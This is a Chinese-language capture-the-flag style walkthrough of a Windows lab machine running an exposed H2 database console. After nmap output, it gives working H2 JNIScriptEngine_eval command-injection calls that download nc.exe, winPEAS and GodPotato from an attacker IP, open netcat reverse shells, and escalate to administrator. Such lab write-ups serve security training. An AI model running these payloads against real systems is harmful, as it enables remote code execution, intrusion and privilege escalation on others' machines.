?老樣子開局先看端口,先看http端口
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: H2 Database Engine (redirect)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
8082/tcp open http H2 database http console
|_http-title: H2 Console
9092/tcp open XmlIpcRegSvc?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9092-TCP:V=7.95%I=7%D=6/7%Time=6843AA78%P=x86_64-pc-linux-gnu%r(NUL
SF:L,516,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\0
SF:t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\
SF:0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l
SF:\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0
SF:h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x024\0o\0r\0g\0\.\0h\x002\0\.
SF:\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0N\0o\0n\0T\0r\0a\0n\0s\0i\0e\0n\
SF:0t\0C\0o\0n\0n\0e\0c\0t\0i\0o\0n\0E\0x\0c\0e\0p\0t\0i\0o\0n\0:\0\x20\0R
SF:\0e\0m\0o\0t\0e\0\x20\0c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\0:\x006\x001\x007\0\)\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0
SF:\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0
SF:n\0\.\0g\0e\0t\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0
SF:b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x004\x002\x007\0\)\0\r\
SF:0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0
SF:D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0
SF:t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x002\x000\x005\0\)\0\r\0\n\0\t\0a\0t\0\x2
SF:0\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-06-07T02:59:35
|_ start_date: N/A
?80端口無突出點,但是8082端口有個連接數據庫的登錄界面,先直接嘗試連接,發現可以直接登錄
然后順便發現了有一個注入遠控的命令exp,只需要復制粘貼即可
這里直接展示成果,證明exp可以用
然后就是直接下nc.exe,雖然底下爆紅了,但是可以看到有下載回顯,但是需要注意的點得有具體的下載位置
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/nc64.exe -o c:\\users\\tony\\nc.exe").getInputStream()).useDelimiter("\\Z").next()');
這里可以看到下載成功了
然后就是直接利用絕對路徑進行反連
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("c:\\users\\tony\\nc.exe 192.168.49.53 3344 -e cmd").getInputStream()).useDelimiter("\\Z").next()');
這里也是可以看到可以成功拿到shell
?當然如果你不想用tony這個絕對路徑,也可以用public這個地方的絕對路徑也行
再然后就是在拿到shell之后,我們發現無法下載東西,推測shell受到了限制,但是exe程序可以運行,所以我采取了原先上傳nc.exe命令,回到原先的web界面執行下載
也就是執行這個界面,用這個命令下載winpeas和其他利用工具
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/winPEASx64.exe -o c:\\users\\tony\\winPEASx64.exe").getInputStream()).useDelimiter("\\Z").next()');
然后在受害機上執行winpeas工具,發現了可以使用爛土豆提權
再執行相同的操作,上傳godpotato
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl http://192.168.49.53/GodPotato-NET4.exe -o c:\\users\\tony\\GodPotato-NET4.exe").getInputStream()).useDelimiter("\\Z").next()');
這里可以看到工具成功上傳
?然后執行godpotato
GodPotato-NET4.exe -cmd "nc.exe 192.168.49.53 1234 -e cmd.exe"
最后也是成功拿到管理員權限
?結尾:
這個靶場還是出乎意料的簡單,唯一的需要注意的點可能就是下載利用工具比較費勁,但是看到別人的wp跟我的利用手法有點區別,后面感興趣的話我可以再做額外補充
工具鏈接:
Release Release refs/heads/master 20250601-88c7a0f6 · peass-ng/PEASS-ng
?Release V1.20 · BeichenDream/GodPotato
H2 Database 1.4.199 - JNI Code Execution - Java local Exploit
Online - Reverse Shell Generator